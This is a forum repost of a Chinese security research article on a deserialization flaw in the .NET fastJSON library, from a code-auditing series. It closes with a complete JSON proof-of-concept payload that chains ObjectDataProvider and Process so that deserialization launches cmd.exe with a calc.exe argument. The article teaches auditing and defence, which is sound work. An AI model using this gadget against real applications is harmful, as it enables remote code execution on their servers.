论坛首页 > 技术文章投稿区 > 漏洞文章

.NET高级代码审计（第三课）Fastjson反序列化漏洞

Track-SSG · 发表于 2019-03-13 11:02:18 · 漏洞文章

作者：Ivan1ee@360云影实验室

0X00 前言

Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本，而在.Net领域也有一个Fastjson的库，作者官宣这是一个读写Json效率最高的的.Net 组件，使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换，fastjson是一个开源的Json.Net库，下载地址 http://www.codeproject.com/Articles/159450/fastJSON，反序列过程中详细的性能对比如下

从图上得出和老牌Json.Net、Stack等比起来速度和性能优势非常明显，究其原因组件的作者利用反射生成了大量的IL代码，而IL代码是托管代码，可以直接给运行库编译所以性能就此大大提升。但在某些场景下开发者使用JSON.ToObject方法序列化不安全的数据时候会造成反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。

0X01 Fastjson序列化

使用JSON.ToJSON可以非常方便的实现.NET对象与Json数据之间的转化，ToJSON首先会得到对象名称所在的程序集全限定名，并且作为$types这个key的值，再将对象的成员属性名转化为Json数据中的Key，把对象的成员属性值转化为Json数据中的value，下面通过一个实例来说明问题，首先定义TestClass对象

定义了三个成员，并实现了一个静态方法ClassMethod启动进程。序列化通过创建对象实例分别给成员赋值

笔者为了尽量保证序列化过程不抛出异常，所以引入了 JSON.ToJSON方法的第二个参数并实例化创建JSONParameters，它的字段中有很多类型是布尔值，

和反序列化漏洞相关的字段为UseExtensions ，将它设置为true可得到类的全限定名，如果不需要序列化空值的时可将另一个字段SerializeNullValues设为false; 笔者使用JSON.ToJSON后得到序列化的Json数据

{"$types":{"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"},"$type":"1","Classname":"360","Name":"Ivan1ee","Age":18}

0x02 Fastjson反序列化

2.1、反序列化用法

反序列过程就是将Json数据转换为对象，Fastjson通过创建一个新对象的方式调用JSON. ToObject方法实现的，ToObject有多个重载方法，当传入两个参数，第一个参数需要被序列化的数据、第二个参数设置序列化配置选项来指定JSONParameters按照指定的属性值处理，重载方法参考下图

具体代码可参考以下Demo

2.2、打造Poc

漏洞的触发点也是在于被序列化的Json中的$types是否可控，为此官方文档里也标注了警告。

笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课） XmlSerializer反序列化漏洞》，因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，如下代码Demo

一步步来看，开始从GetType获取当前类的实例，返回Type类型变量t3；然后通过Type.GetProperty方法找到指定为FileName的公共属性并赋值给PropertyInfo类型的变量propertyName；再使用PropertyInfo.SetValue方法设置对象的指定属性值“cmd.exe“，同理为Arguments属性指定值。下一步再来序列化Process类，并调用StartInfo启动程序，Demo如下

然后需要对其做减法，去掉无关的System.RuntimeType、System.IntPtr数据，最终得到反序列化Payload

{""$types"":{""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"":""1"",""System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""3"",""System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"":""5""},""$type"":""1"",""ObjectInstance"":{""$type"":""3"",""StartInfo"":{""$type"":""5"",""Verb"":"""",""Arguments"":""/c calc.exe"",""CreateNoWindow"":false,""RedirectStandardInput"":false,""RedirectStandardOutput"":false,""RedirectStandardError"":false,""UseShellExecute"":true,""UserName"":"""",""Domain"":"""",""LoadUserProfile"":false,""FileName"":""cmd.exe"",""WorkingDirectory"":"""",""ErrorDialog"":false,""WindowStyle"":""Normal""},""EnableRaisingEvents"":false},""MethodName"":""Start"",""IsAsynchronous"":false,""IsInitialLoadEnabled"":true}

FastJson定义的JSON类定义了多个ToObject重载方法，对于反序列化漏洞无需关心重载的方法参数是一个还是多个，它们都可以触发漏洞